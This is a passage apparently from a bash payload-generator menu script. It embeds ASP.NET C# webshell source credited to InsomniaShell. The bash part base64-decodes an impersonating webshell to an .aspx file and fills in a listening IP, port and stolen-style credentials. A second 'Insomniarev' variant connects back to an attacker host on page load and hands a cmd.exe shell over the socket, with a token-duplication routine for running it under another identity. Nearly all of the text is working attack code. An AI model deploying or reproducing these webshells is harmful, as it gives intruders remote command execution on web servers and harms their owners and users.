    [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
    internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);

    internal struct sockaddr_in
    {
        public short sin_family;
        public short sin_port;
        public int sin_addr;
        public long sin_zero;
    }

    [DllImport("kernel32.dll")]
    static extern IntPtr GetStdHandle(int nStdHandle);

    [DllImport("kernel32.dll")]
    static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);

    public const int STD_INPUT_HANDLE = -10;
    public const int STD_OUTPUT_HANDLE = -11;
    public const int STD_ERROR_HANDLE = -12;
    
    [DllImport("kernel32")]
    static extern bool AllocConsole();


    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
                                            [In] SocketType socketType,
                                            [In] ProtocolType protocolType,
                                            [In] IntPtr protocolInfo,
                                            [In] uint group,
                                            [In] int flags
                                            );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    internal static extern int inet_addr([In] string cp);
    [DllImport("ws2_32.dll")]
    private static extern string inet_ntoa(uint ip);

    [DllImport("ws2_32.dll")]
    private static extern uint htonl(uint ip);
    
    [DllImport("ws2_32.dll")]
    private static extern uint ntohl(uint ip);
    
    [DllImport("ws2_32.dll")]
    private static extern ushort htons(ushort ip);
    
    [DllImport("ws2_32.dll")]
    private static extern ushort ntohs(ushort ip);   

    
   [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
   internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int send(
                                [In] IntPtr socketHandle,
                                [In] byte[] pinnedBuffer,
                                [In] int len,
                                [In] SocketFlags socketFlags
                                );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int recv(
                                [In] IntPtr socketHandle,
                                [In] IntPtr pinnedBuffer,
                                [In] int len,
                                [In] SocketFlags socketFlags
                                );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int closesocket(
                                       [In] IntPtr socketHandle
                                       );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern IntPtr accept(
                                  [In] IntPtr socketHandle,
                                  [In, Out] ref sockaddr_in socketAddress,
                                  [In, Out] ref int socketAddressSize
                                  );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int listen(
                                  [In] IntPtr socketHandle,
                                  [In] int backlog
                                  );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int bind(
                                [In] IntPtr socketHandle,
                                [In] ref sockaddr_in  socketAddress,
                                [In] int socketAddressSize
                                );


   public enum TOKEN_INFORMATION_CLASS
   {
       TokenUser = 1,
       TokenGroups,
       TokenPrivileges,
       TokenOwner,
       TokenPrimaryGroup,
       TokenDefaultDacl,
       TokenSource,
       TokenType,
       TokenImpersonationLevel,
       TokenStatistics,
       TokenRestrictedSids,
       TokenSessionId
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public static extern bool GetTokenInformation(
       IntPtr hToken,
       TOKEN_INFORMATION_CLASS tokenInfoClass,
       IntPtr TokenInformation,
       int tokeInfoLength,
       ref int reqLength);

   public enum TOKEN_TYPE
   {
       TokenPrimary = 1,
       TokenImpersonation
   }

   public enum SECURITY_IMPERSONATION_LEVEL
   {
       SecurityAnonymous,
       SecurityIdentification,
       SecurityImpersonation,
       SecurityDelegation
   }

   
   [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
   public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
       String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
    public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);


   const int ERROR_NO_MORE_ITEMS = 259;

   [StructLayout(LayoutKind.Sequential)]
   struct TOKEN_USER
   {
       public _SID_AND_ATTRIBUTES User;
   }

   [StructLayout(LayoutKind.Sequential)]
   public struct _SID_AND_ATTRIBUTES
   {
       public IntPtr Sid;
       public int Attributes;
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool LookupAccountSid
   (
       [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
       IntPtr pSid,
       StringBuilder Account,
       ref int cbName,
       StringBuilder DomainName,
       ref int cbDomainName,
       ref int peUse

   );

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool ConvertSidToStringSid(
       IntPtr pSID,
       [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);


   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern bool CloseHandle(
       IntPtr hHandle);

   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
   [Flags]
   public enum ProcessAccessFlags : uint
   {
       All = 0x001F0FFF,
       Terminate = 0x00000001,
       CreateThread = 0x00000002,
       VMOperation = 0x00000008,
       VMRead = 0x00000010,
       VMWrite = 0x00000020,
       DupHandle = 0x00000040,
       SetInformation = 0x00000200,
       QueryInformation = 0x00000400,
       Synchronize = 0x00100000
   }

   [DllImport("kernel32.dll")]
   static extern IntPtr GetCurrentProcess();

   [DllImport("kernel32.dll")]
   extern static IntPtr GetCurrentThread();


   [DllImport("kernel32.dll", SetLastError = true)]
   [return: MarshalAs(UnmanagedType.Bool)]
   static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
      IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
      uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);

    [DllImport("psapi.dll", SetLastError = true)]
    public static extern bool EnumProcessModules(IntPtr hProcess,
    [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
    uint cb,
    [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);

    [DllImport("psapi.dll")]
    static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);

    public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
    public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
    public const uint PIPE_ACCESS_INBOUND = 0x00000001;
    public const uint PIPE_WAIT = 0x00000000;
    public const uint PIPE_NOWAIT = 0x00000001;
    public const uint PIPE_READMODE_BYTE = 0x00000000;
    public const uint PIPE_READMODE_MESSAGE = 0x00000002;
    public const uint PIPE_TYPE_BYTE = 0x00000000;
    public const uint PIPE_TYPE_MESSAGE = 0x00000004;
    public const uint PIPE_CLIENT_END = 0x00000000;
    public const uint PIPE_SERVER_END = 0x00000001;
    public const uint PIPE_UNLIMITED_INSTANCES = 255;

    public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
    public const uint NMPWAIT_NOWAIT = 0x00000001;
    public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;

    public const uint GENERIC_READ = (0x80000000);
    public const uint GENERIC_WRITE = (0x40000000);
    public const uint GENERIC_EXECUTE = (0x20000000);
    public const uint GENERIC_ALL = (0x10000000);

    public const uint CREATE_NEW = 1;
    public const uint CREATE_ALWAYS = 2;
    public const uint OPEN_EXISTING = 3;
    public const uint OPEN_ALWAYS = 4;
    public const uint TRUNCATE_EXISTING = 5;

    public const int INVALID_HANDLE_VALUE = -1;

    public const ulong ERROR_SUCCESS = 0;
    public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
    public const ulong ERROR_PIPE_BUSY = 231;
    public const ulong ERROR_NO_DATA = 232;
    public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
    public const ulong ERROR_MORE_DATA = 234;
    public const ulong ERROR_PIPE_CONNECTED = 535;
    public const ulong ERROR_PIPE_LISTENING = 536;

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr CreateNamedPipe(
        String lpName,                                
        uint dwOpenMode,                            
        uint dwPipeMode,                            
        uint nMaxInstances,                            
        uint nOutBufferSize,                        
        uint nInBufferSize,                            
        uint nDefaultTimeOut,                        
        IntPtr pipeSecurityDescriptor
        );

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool ConnectNamedPipe(
        IntPtr hHandle,
        uint lpOverlapped
        );

    [DllImport("Advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateNamedPipeClient(
        IntPtr hHandle);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool GetNamedPipeHandleState(
        IntPtr hHandle,
        IntPtr lpState,
        IntPtr lpCurInstances,
        IntPtr lpMaxCollectionCount,
        IntPtr lpCollectDataTimeout,
        StringBuilder lpUserName,
        int nMaxUserNameSize
        );
 
    protected void CallbackShell(string server, int port)
    {

        string request = "Spawn Shell...\n";
        Byte[] bytesSent = Encoding.ASCII.GetBytes(request);

        IntPtr oursocket = IntPtr.Zero;
        
        sockaddr_in socketinfo;
        oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
        socketinfo = new sockaddr_in();
        socketinfo.sin_family = (short) AddressFamily.InterNetwork;
        socketinfo.sin_addr = inet_addr(server);
        socketinfo.sin_port = (short) htons((ushort)port);
        connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
        send(oursocket, bytesSent, request.Length, 0);
        SpawnProcessAsPriv(oursocket);
        closesocket(oursocket);
    }

    protected void SpawnProcess(IntPtr oursocket)
    {
        bool retValue;
        string Application = Environment.GetEnvironmentVariable("comspec");
        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        STARTUPINFO sInfo = new STARTUPINFO();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        pSec.Length = Marshal.SizeOf(pSec);
        sInfo.dwFlags = 0x00000101;
        sInfo.hStdInput = oursocket;
        sInfo.hStdOutput = oursocket;
        sInfo.hStdError = oursocket;
        retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
    }

    protected void SpawnProcessAsPriv(IntPtr oursocket)
    {
        bool retValue;
        string Application = Environment.GetEnvironmentVariable("comspec");
        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        STARTUPINFO sInfo = new STARTUPINFO();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();

        IntPtr Token = new IntPtr(0);
        IntPtr DupedToken = new IntPtr(0);
        bool ret;
        SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
        sa.bInheritHandle = false;
        sa.Length = Marshal.SizeOf(sa);
        sa.lpSecurityDescriptor = (IntPtr)0;

        Token = WindowsIdentity.GetCurrent().Token;
        const uint GENERIC_ALL = 0x10000000;
        const int SecurityImpersonation = 2;
        const int TokenType = 1;
        ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);

        pSec.Length = Marshal.SizeOf(pSec);
        sInfo.dwFlags = 0x00000101;
        IntPtr DupeToken = new IntPtr(0);
        sInfo.hStdInput = oursocket;
        sInfo.hStdOutput = oursocket;
        sInfo.hStdError = oursocket;
        if (DupedToken == IntPtr.Zero)
            retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        else
            retValue = CreateProcessAsUser(DupedToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
        CloseHandle(DupedToken);
    }

    private bool impersonateValidUser(String userName, String domain, String password)
{
    WindowsIdentity tempWindowsIdentity;
    IntPtr token = IntPtr.Zero;
    IntPtr tokenDuplicate = IntPtr.Zero;

    if(RevertToSelf())
    {
        if(LogonUserA(userName, domain, password, LOGON32_LOGON_INTERACTIVE,
        LOGON32_PROVIDER_DEFAULT, ref token)!= 0)
        {
            if(DuplicateToken(token, 2, ref tokenDuplicate)!= 0) 
            {
                tempWindowsIdentity = new WindowsIdentity(tokenDuplicate);
                impersonationContext = tempWindowsIdentity.Impersonate();
                if (impersonationContext != null)
                {
                    CloseHandle(token);
                    CloseHandle(tokenDuplicate);
                    return true;
                }
            }
        }
    }
    if(token!= IntPtr.Zero)
        CloseHandle(token);
    if(tokenDuplicate!=IntPtr.Zero)
        CloseHandle(tokenDuplicate);
    return false;
}

private void undoImpersonation()
{
    impersonationContext.Undo();
}
    </script>
' printf "Enter path for the webshell or press enter for $PWD:" read -r ans case $ans in "") echo -n $Insomnia_Impersonate| base64 -d > "$PWD/Insomnia_imp.aspx" echo read -p "Please enter your listening IP [$myip]: " LHOST LHOST=${LHOST:-$myip} $sed -i "s/LHOST/$LHOST/" "$PWD/Insomnia_imp.aspx" read -p "Please enter your listening port [$myport]: " LPORT LPORT=${LPORT:-$myport} $sed -i "s/LPORT/$LPORT/" "$PWD/Insomnia_imp.aspx" read -p "Username: " my_user $sed -i "s/my_user/$my_user/" "$PWD/Insomnia_imp.aspx" read -p "Password: " my_password $sed -i "s/my_password/$my_password/" "$PWD/Insomnia_imp.aspx" read -p "Domain: " my_domain $sed -i "s/my_domain/$my_domain/" "$PWD/Insomnia_imp.aspx" echo "Saving $1 to: $PWD/Insomnia_imp.aspx" read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $Insomnia_Impersonate| base64 -d > "$ans/Insomnia_imp.aspx" echo read -p "Please enter your listening IP [$myip]: " LHOST LHOST=${LHOST:-$myip} $sed -i "s/LHOST/$LHOST/" "$ans/Insomnia_imp.aspx" read -p "Please enter your listening port [$myport]: " LPORT LPORT=${LPORT:-$myport} $sed -i "s/LPORT/$LPORT/" "$ans/Insomnia_imp.aspx" read -p "Username: " my_user $sed -i "s/my_user/$my_user/" "$ans/Insomnia_imp.aspx" read -p "Password: " my_password $sed -i "s/my_password/$my_password/" "$ans/Insomnia_imp.aspx" read -p "Domain: " my_domain $sed -i "s/my_domain/$my_domain/" "$ans/Insomnia_imp.aspx" echo "Saving $1 to: $ans/Insomnia_imp.aspx" read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; Insomniarev) Insomniarev='<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
    
	protected void Page_Load(object sender, EventArgs e)
    {
	    String host = "LHOST";
            int port = LPORT; 
                
        CallbackShell(host, port);
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
        public int cb;
        public String lpReserved;
        public String lpDesktop;
        public String lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
        public int Length;
        public IntPtr lpSecurityDescriptor;
        public bool bInheritHandle;
    }
    
    
    [DllImport("kernel32.dll")]
    static extern bool CreateProcess(string lpApplicationName,
       string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
       uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
       [In] ref STARTUPINFO lpStartupInfo,
       out PROCESS_INFORMATION lpProcessInformation);

    public static uint INFINITE = 0xFFFFFFFF;
    
    [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
    internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);

    internal struct sockaddr_in
    {
        public short sin_family;
        public short sin_port;
        public int sin_addr;
        public long sin_zero;
    }

    [DllImport("kernel32.dll")]
    static extern IntPtr GetStdHandle(int nStdHandle);

    [DllImport("kernel32.dll")]
    static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);

    public const int STD_INPUT_HANDLE = -10;
    public const int STD_OUTPUT_HANDLE = -11;
    public const int STD_ERROR_HANDLE = -12;
    
    [DllImport("kernel32")]
    static extern bool AllocConsole();


    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
                                            [In] SocketType socketType,
                                            [In] ProtocolType protocolType,
                                            [In] IntPtr protocolInfo, 
                                            [In] uint group,
                                            [In] int flags
                                            );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    internal static extern int inet_addr([In] string cp);
    [DllImport("ws2_32.dll")]
    private static extern string inet_ntoa(uint ip);

    [DllImport("ws2_32.dll")]
    private static extern uint htonl(uint ip);
    
    [DllImport("ws2_32.dll")]
    private static extern uint ntohl(uint ip);
    
    [DllImport("ws2_32.dll")]
    private static extern ushort htons(ushort ip);
    
    [DllImport("ws2_32.dll")]
    private static extern ushort ntohs(ushort ip);   

    
   [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
   internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int send(
                                [In] IntPtr socketHandle,
                                [In] byte[] pinnedBuffer,
                                [In] int len,
                                [In] SocketFlags socketFlags
                                );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int recv(
                                [In] IntPtr socketHandle,
                                [In] IntPtr pinnedBuffer,
                                [In] int len,
                                [In] SocketFlags socketFlags
                                );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int closesocket(
                                       [In] IntPtr socketHandle
                                       );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern IntPtr accept(
                                  [In] IntPtr socketHandle,
                                  [In, Out] ref sockaddr_in socketAddress,
                                  [In, Out] ref int socketAddressSize
                                  );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int listen(
                                  [In] IntPtr socketHandle,
                                  [In] int backlog
                                  );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int bind(
                                [In] IntPtr socketHandle,
                                [In] ref sockaddr_in  socketAddress,
                                [In] int socketAddressSize
                                );


   public enum TOKEN_INFORMATION_CLASS
   {
       TokenUser = 1,
       TokenGroups,
       TokenPrivileges,
       TokenOwner,
       TokenPrimaryGroup,
       TokenDefaultDacl,
       TokenSource,
       TokenType,
       TokenImpersonationLevel,
       TokenStatistics,
       TokenRestrictedSids,
       TokenSessionId
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public static extern bool GetTokenInformation(
       IntPtr hToken,
       TOKEN_INFORMATION_CLASS tokenInfoClass,
       IntPtr TokenInformation,
       int tokeInfoLength,
       ref int reqLength);

   public enum TOKEN_TYPE
   {
       TokenPrimary = 1,
       TokenImpersonation
   }

   public enum SECURITY_IMPERSONATION_LEVEL
   {
       SecurityAnonymous,
       SecurityIdentification,
       SecurityImpersonation,
       SecurityDelegation
   }

   
   [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
   public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
       String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

   [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
   public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
       ref IntPtr DuplicateTokenHandle);

   

   const int ERROR_NO_MORE_ITEMS = 259;

   [StructLayout(LayoutKind.Sequential)]
   struct TOKEN_USER
   {
       public _SID_AND_ATTRIBUTES User;
   }

   [StructLayout(LayoutKind.Sequential)]
   public struct _SID_AND_ATTRIBUTES
   {
       public IntPtr Sid;
       public int Attributes;
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool LookupAccountSid
   (
       [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
       IntPtr pSid,
       StringBuilder Account,
       ref int cbName,
       StringBuilder DomainName,
       ref int cbDomainName,
       ref int peUse 

   );

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool ConvertSidToStringSid(
       IntPtr pSID,
       [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);


   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern bool CloseHandle(
       IntPtr hHandle);

   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
   [Flags]
   public enum ProcessAccessFlags : uint
   {
       All = 0x001F0FFF,
       Terminate = 0x00000001,
       CreateThread = 0x00000002,
       VMOperation = 0x00000008,
       VMRead = 0x00000010,
       VMWrite = 0x00000020,
       DupHandle = 0x00000040,
       SetInformation = 0x00000200,
       QueryInformation = 0x00000400,
       Synchronize = 0x00100000
   }

   [DllImport("kernel32.dll")]
   static extern IntPtr GetCurrentProcess();

   [DllImport("kernel32.dll")]
   extern static IntPtr GetCurrentThread();


   [DllImport("kernel32.dll", SetLastError = true)]
   [return: MarshalAs(UnmanagedType.Bool)]
   static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
      IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
      uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);

    [DllImport("psapi.dll", SetLastError = true)]
    public static extern bool EnumProcessModules(IntPtr hProcess,
    [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
    uint cb,
    [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);

    [DllImport("psapi.dll")]
    static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);

    public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
    public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
    public const uint PIPE_ACCESS_INBOUND = 0x00000001;
    public const uint PIPE_WAIT = 0x00000000;
    public const uint PIPE_NOWAIT = 0x00000001;
    public const uint PIPE_READMODE_BYTE = 0x00000000;
    public const uint PIPE_READMODE_MESSAGE = 0x00000002;
    public const uint PIPE_TYPE_BYTE = 0x00000000;
    public const uint PIPE_TYPE_MESSAGE = 0x00000004;
    public const uint PIPE_CLIENT_END = 0x00000000;
    public const uint PIPE_SERVER_END = 0x00000001;
    public const uint PIPE_UNLIMITED_INSTANCES = 255;

    public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
    public const uint NMPWAIT_NOWAIT = 0x00000001;
    public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;

    public const uint GENERIC_READ = (0x80000000);
    public const uint GENERIC_WRITE = (0x40000000);
    public const uint GENERIC_EXECUTE = (0x20000000);
    public const uint GENERIC_ALL = (0x10000000);

    public const uint CREATE_NEW = 1;
    public const uint CREATE_ALWAYS = 2;
    public const uint OPEN_EXISTING = 3;
    public const uint OPEN_ALWAYS = 4;
    public const uint TRUNCATE_EXISTING = 5;

    public const int INVALID_HANDLE_VALUE = -1;

    public const ulong ERROR_SUCCESS = 0;
    public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
    public const ulong ERROR_PIPE_BUSY = 231;
    public const ulong ERROR_NO_DATA = 232;
    public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
    public const ulong ERROR_MORE_DATA = 234;
    public const ulong ERROR_PIPE_CONNECTED = 535;
    public const ulong ERROR_PIPE_LISTENING = 536;

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr CreateNamedPipe(
        String lpName,									
        uint dwOpenMode,								
        uint dwPipeMode,								
        uint nMaxInstances,							
        uint nOutBufferSize,						
        uint nInBufferSize,							
        uint nDefaultTimeOut,						
        IntPtr pipeSecurityDescriptor
        );

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool ConnectNamedPipe(
        IntPtr hHandle,
        uint lpOverlapped
        );

    [DllImport("Advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateNamedPipeClient(
        IntPtr hHandle);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool GetNamedPipeHandleState(
        IntPtr hHandle,
        IntPtr lpState,
        IntPtr lpCurInstances,
        IntPtr lpMaxCollectionCount,
        IntPtr lpCollectDataTimeout,
        StringBuilder lpUserName,
        int nMaxUserNameSize
        );
 
    protected void CallbackShell(string server, int port)
    {

        string request = "Spawn Shell...\n";
        Byte[] bytesSent = Encoding.ASCII.GetBytes(request);

        IntPtr oursocket = IntPtr.Zero;
        
        sockaddr_in socketinfo;
        oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
        socketinfo = new sockaddr_in();
        socketinfo.sin_family = (short) AddressFamily.InterNetwork;
        socketinfo.sin_addr = inet_addr(server);
        socketinfo.sin_port = (short) htons((ushort)port);
        connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
        send(oursocket, bytesSent, request.Length, 0);
        SpawnProcessAsPriv(oursocket);
        closesocket(oursocket);
    }

    protected void SpawnProcess(IntPtr oursocket)
    {
        bool retValue;
        string Application = Environment.GetEnvironmentVariable("comspec"); 
        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        STARTUPINFO sInfo = new STARTUPINFO();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        pSec.Length = Marshal.SizeOf(pSec);
        sInfo.dwFlags = 0x00000101;
        sInfo.hStdInput = oursocket;
        sInfo.hStdOutput = oursocket;
        sInfo.hStdError = oursocket;
        retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
    }

    protected void SpawnProcessAsPriv(IntPtr oursocket)
    {
        bool retValue;
        string Application = Environment.GetEnvironmentVariable("comspec"); 
        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        STARTUPINFO sInfo = new STARTUPINFO();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        pSec.Length = Marshal.SizeOf(pSec);
        sInfo.dwFlags = 0x00000101; 
        IntPtr DupeToken = new IntPtr(0);
        sInfo.hStdInput = oursocket;
        sInfo.hStdOutput = oursocket;
        sInfo.hStdError = oursocket;
        if (DupeToken == IntPtr.Zero)
            retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        else
            retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
        CloseHandle(DupeToken);
    }
    </script>
